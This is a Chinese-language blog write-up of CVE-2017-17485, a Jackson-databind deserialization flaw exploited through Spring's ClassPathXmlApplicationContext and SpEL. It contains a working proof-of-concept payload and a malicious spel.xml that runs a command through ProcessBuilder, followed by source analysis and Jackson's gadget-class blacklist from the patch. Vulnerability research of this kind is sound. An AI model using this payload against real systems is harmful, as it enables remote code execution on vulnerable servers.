Jackson 反序列化(三)CVE-2017-17485
Drunkbaby Lv6

0x01 漏洞描述

本次 Jackson 反序列化漏洞是基于 org.springframework.context.support.ClassPathXmlApplicationContext
的利用链的。在开启 enableDefaultTyping() 或使用有问题的 @JsonTypeInfo 注解的前提下

可以通过 jackson-databind 来滥用 Spring 的 SpEL 表达式注入漏洞来触发 Jackson 反序列化漏洞的,从而达到任意命令执行的效果。

影响版本

Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4

利用限制

需要额外的 jar 包,并非完全的 Jackson 漏洞

环境所用的 pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<dependencies>  
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9.1</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
</dependencies>

0x02 漏洞复现

ClassPathXmlApplicationContext 这个类是用来加载一些 XML 资源的,而最后的攻击实现也是如此

PoC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class PoC {  
public static void main(String[] args) {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

spel.xml,放置在第三方 Web 服务中,看到 id 为 pb 的 bean 标签,指定了类为 java.lang.ProcessBuilder,在其中有两个子标签,constructor-arg 标签设置参数值为具体的命令,property 标签调用 start() 方法:

spel.xml

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

成功命令执行

0x03 漏洞分析

这里的 XML 内容解析,到 SpEL 表达式注入,其实是涉及到 Spring 的 IOC 原则,简单来过一遍。

前面 Jackson 的反序列化解析部分就不看了,直接到 Jackson 调用 ClassPathXmlApplicationContext 的构造函数。在 ClassPathXmlApplicationContext 中有很多构造方法,其中有一个是传入一个字符串的(即配置文件的相对路径),但最终是调用的下面这个构造:

Spring 在这里先创建解析器,解析 configLocations,跟进 refresh() 方法,refresh() 方法做的核心业务是刷新容器(启动容器都会调用该方法),跟进之后的核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public void refresh() throws BeansException, IllegalStateException {  
synchronized (this.startupShutdownMonitor) {
// Prepare this context for refreshing.
prepareRefresh();

// Tell the subclass to refresh the internal bean factory.
ConfigurableListableBeanFactory beanFactory = obtainFreshBeanFactory();

// Prepare the bean factory for use in this context.
prepareBeanFactory(beanFactory);

try {
// Allows post-processing of the bean factory in context subclasses.
postProcessBeanFactory(beanFactory);

// Invoke factory processors registered as beans in the context.
invokeBeanFactoryPostProcessors(beanFactory);

// Register bean processors that intercept bean creation.
registerBeanPostProcessors(beanFactory);

// Initialize message source for this context.
initMessageSource();

// Initialize event multicaster for this context.
initApplicationEventMulticaster();

// Initialize other special beans in specific context subclasses.
onRefresh();

// Check for listener beans and register them.
registerListeners();

// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

// Last step: publish corresponding event.
finishRefresh();
}

.....

先跟进 obtainFreshBeanFactory() 方法,这个方法是一个典型的模板方法模式的实现,第一步是准备初始化容器环境,这一步不重要,重点是第二步,创建 BeanFactory 对象、加载解析 xml 并封装成BeanDefinition对象都是在这一步完成的。

跟进,判断如果 BeanFactory 不为空,则清除 BeanFactory 和里面的实例,接着创建了一个 DefaultListableBeanFactory 对象并传入到了 loadBeanDefinitions 方法中,这也是一个模板方法,因为我们的配置不止有 xml,还有注解等。

在整体封装完毕之后,这里的 XML 就已经被加载进来了,把 inputSource 封装成 Document 文件对象。核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public int loadBeanDefinitions(EncodedResource encodedResource) throws BeanDefinitionStoreException {
try {
//获取Resource对象中的xml文件流对象
InputStream inputStream = encodedResource.getResource().getInputStream();
try {
//InputSource是jdk中的sax xml文件解析对象
InputSource inputSource = new InputSource(inputStream);
if (encodedResource.getEncoding() != null) {
inputSource.setEncoding(encodedResource.getEncoding());
}
//主要看这个方法
return doLoadBeanDefinitions(inputSource, encodedResource.getResource());
}
finally {
inputStream.close();
}
}
}

protected int doLoadBeanDefinitions(InputSource inputSource, Resource resource)
throws BeanDefinitionStoreException {

try {
//把inputSource 封装成Document文件对象,这是jdk的API
Document doc = doLoadDocument(inputSource, resource);

//主要看这个方法,根据解析出来的document对象,拿到里面的标签元素封装成BeanDefinition
int count = registerBeanDefinitions(doc, resource);
if (logger.isDebugEnabled()) {
logger.debug("Loaded " + count + " bean definitions from " + resource);
}
return count;
}
}

public int registerBeanDefinitions(Document doc, Resource resource) throws BeanDefinitionStoreException {
// 创建DefaultBeanDefinitionDocumentReader对象,并委托其做解析注册工作
BeanDefinitionDocumentReader documentReader = createBeanDefinitionDocumentReader();
int countBefore = getRegistry().getBeanDefinitionCount();
//主要看这个方法,需要注意createReaderContext方法中创建的几个对象
documentReader.registerBeanDefinitions(doc, createReaderContext(resource));
return getRegistry().getBeanDefinitionCount() - countBefore;
}

public XmlReaderContext createReaderContext(Resource resource) {
// XmlReaderContext对象中保存了XmlBeanDefinitionReader对象和DefaultNamespaceHandlerResolver对象的引用,在后面会用到
return new XmlReaderContext(resource, this.problemReporter, this.eventListener,
this.sourceExtractor, this, getNamespaceHandlerResolver());
}

接着看看 DefaultBeanDefinitionDocumentReader 中是如何解析的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected void doRegisterBeanDefinitions(Element root) {
// 创建了BeanDefinitionParserDelegate对象
BeanDefinitionParserDelegate parent = this.delegate;
this.delegate = createDelegate(getReaderContext(), root, parent);

// 如果是Spring原生命名空间,首先解析 profile标签,这里不重要
if (this.delegate.isDefaultNamespace(root)) {
String profileSpec = root.getAttribute(PROFILE_ATTRIBUTE);
if (StringUtils.hasText(profileSpec)) {
String[] specifiedProfiles = StringUtils.tokenizeToStringArray(
profileSpec, BeanDefinitionParserDelegate.MULTI_VALUE_ATTRIBUTE_DELIMITERS);
// We cannot use Profiles.of(...) since profile expressions are not supported
// in XML config. See SPR-12458 for details.
if (!getReaderContext().getEnvironment().acceptsProfiles(specifiedProfiles)) {
if (logger.isDebugEnabled()) {
logger.debug("Skipped XML bean definition file due to specified profiles [" + profileSpec +
"] not matching: " + getReaderContext().getResource());
}
return;
}
}
}

preProcessXml(root);

//主要看这个方法,标签具体解析过程
parseBeanDefinitions(root, this.delegate);
postProcessXml(root);

this.delegate = parent;
}

这里的调用栈是这么走下来的

1
2
3
4
doRegisterBeanDefinitions:129, DefaultBeanDefinitionDocumentReader (org.springframework.beans.factory.xml)
registerBeanDefinitions:98, DefaultBeanDefinitionDocumentReader (org.springframework.beans.factory.xml)
registerBeanDefinitions:507, XmlBeanDefinitionReader (org.springframework.beans.factory.xml)
doLoadBeanDefinitions:391, XmlBeanDefinitionReader (org.springframework.beans.factory.xml)

在这个方法中重点关注preProcessXmlparseBeanDefinitionspostProcessXml三个方法,其中 preProcessXml 和 postProcessXml 都是空方法,意思是在解析标签前后我们自己可以扩展需要执行的操作,也是一个模板方法模式,体现了 Spring 的高扩展性。然后进入 parseBeanDefinitions 方法看具体是怎么解析标签的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void parseBeanDefinitions(Element root, BeanDefinitionParserDelegate delegate) {
if (delegate.isDefaultNamespace(root)) {
NodeList nl = root.getChildNodes();
for (int i = 0; i < nl.getLength(); i++) {
Node node = nl.item(i);
if (node instanceof Element) {
Element ele = (Element) node;
if (delegate.isDefaultNamespace(ele)) {

//默认标签解析
parseDefaultElement(ele, delegate);
}
else {

//自定义标签解析
delegate.parseCustomElement(ele);
}
}
}
}
else {
delegate.parseCustomElement(root);
}
}

这里有两种标签的解析:Spring 原生标签自定义标签。怎么区分这两种标签呢?

1
2
3
4
5
6
// 自定义标签
<context:component-scan/>

// 默认标签
<bean:/>

如上,带前缀的就是自定义标签,否则就是 Spring 默认标签,无论哪种标签在使用前都需要在 Spring 的 xml 配置文件里声明 Namespace URI,这样在解析标签时才能通过 Namespace URI 找到对应的 NamespaceHandler。

1
2
3
xmlns:context="http://www.springframework.org/schema/context"

http://www.springframework.org/schema/beans

可以看到 http://www.springframework.org/schema/beans 所对应的就是默认标签。接着,我们进入parseDefaultElement方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void parseDefaultElement(Element ele, BeanDefinitionParserDelegate delegate) {
//import标签解析
if (delegate.nodeNameEquals(ele, IMPORT_ELEMENT)) {
importBeanDefinitionResource(ele);
}
//alias标签解析
else if (delegate.nodeNameEquals(ele, ALIAS_ELEMENT)) {
processAliasRegistration(ele);
}
//bean标签
else if (delegate.nodeNameEquals(ele, BEAN_ELEMENT)) {
processBeanDefinition(ele, delegate);
}
else if (delegate.nodeNameEquals(ele, NESTED_BEANS_ELEMENT)) {
// recurse
doRegisterBeanDefinitions(ele);
}
}

这里面主要是对 import、alias、bean 标签的解析以及 beans 的字标签的递归解析,最终会将这些标签属性的值装入到 BeanDefinition 对象中,这里接近能够拿到一个封装好的 XML document 了,并且被解析为 Bean。

回到最开始的地方,来关注一下漏洞点,其中有一个 invokeBeanFactoryPostProcessors() 方法,顾名思义,就是调用上下文中注册为 beans 的工厂处理器:

继续跟下去,invokeBeanFactoryPostProcessors() 方法中调用了 getBeanNamesForType() 函数来获取 Bean 名类型:

往下,进一步调用 doGetBeanNamesForType() 方法:

doGetBeanNamesForType() 方法中,调用 isFactoryBean() 判断当前 beanName 是否为 FactoryBean,此时 beanName 参数值为 pb,mbd 参数中识别到 bean 标签中的类为 java.lang.ProcessBuilder

isFactoryBean() 方法中,调用 predictBeanType() 方法获取 Bean 类型:

跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析 Bean 类,其中调用了 evaluateBeanDefinitionString() 方法来执行 Bean 定义的字符串内容,此时 className 参数指向 java.lang.ProcessBuilder

同时在这里第 432 行,this.resolveBeanClass() 方法是用于指定解析器的,我们跟进去看一下

跟进 doResolveBeanClass() 方法,进一步解析 Bean,随后跟进 AbstractBeanFactory.evaluateBeanDefinitionString() 方法,其中调用了 this.beanExpressionResolver.evaluate()

此时 this.beanExpressionResolver 指向的是 StandardBeanExpressionResolver,也就是说已经调用到对应的 SpEL 表达式解析器了:

跟进 StandardBeanExpressionResolver.evaluate() 方法,发现调用了 Expression. getValue ()方法即 SpEL 表达式执行的方法,其中 sec 参数是我们可以控制的内容即由 spel. xml 解析得到的 SpEL 表达式:

后续就是 SpEL 表达式注入漏洞导致的任意代码执行了。

至此,整个调用过程就大致过了遍。简单地说,就是传入的需要被反序列化的 org.springframework.context.support.ClassPathXmlApplicationContext 类,它的构造函数存在 SpEL 注入漏洞,进而导致可被利用来触发 Jackson 反序列化漏洞。

0x04 补丁分析

https://github.com/FasterXML/jackson-databind/commit/2235894210c75f624a3d0cd60bfb0434a20a18bf

换成 jackson-databind-2.7.9.2版本的 jar 试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:

但是去看黑名单的规则,其实并没有看到黑名单类里面有我们利用的这个类

com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static {  
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

再往下看,这里会把所有 org.springframe 开头的类名做处理

先进行黑名单过滤,发现类名不在黑名单后再判断是否是以 org.springframe 开头的类名,是的话循环遍历目标类的父类是否为 AbstractPointcutAdvisoAbstractApplicationContext,是的话跳出循环然后抛出异常:

而我们的利用类其继承关系是这样的:

1
…->AbstractApplicationContext->AbstractRefreshableApplicationContext->AbstractRefreshableConfigApplicationContext->AbstractXmlApplicationContext->ClassPathXmlApplicationContext

可以看到,ClassPathXmlApplicationContext 类是继承自 AbstractApplicationContext 类的,而该类会被过滤掉,从而没办法成功绕过利用。

Ref

http://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89

 评论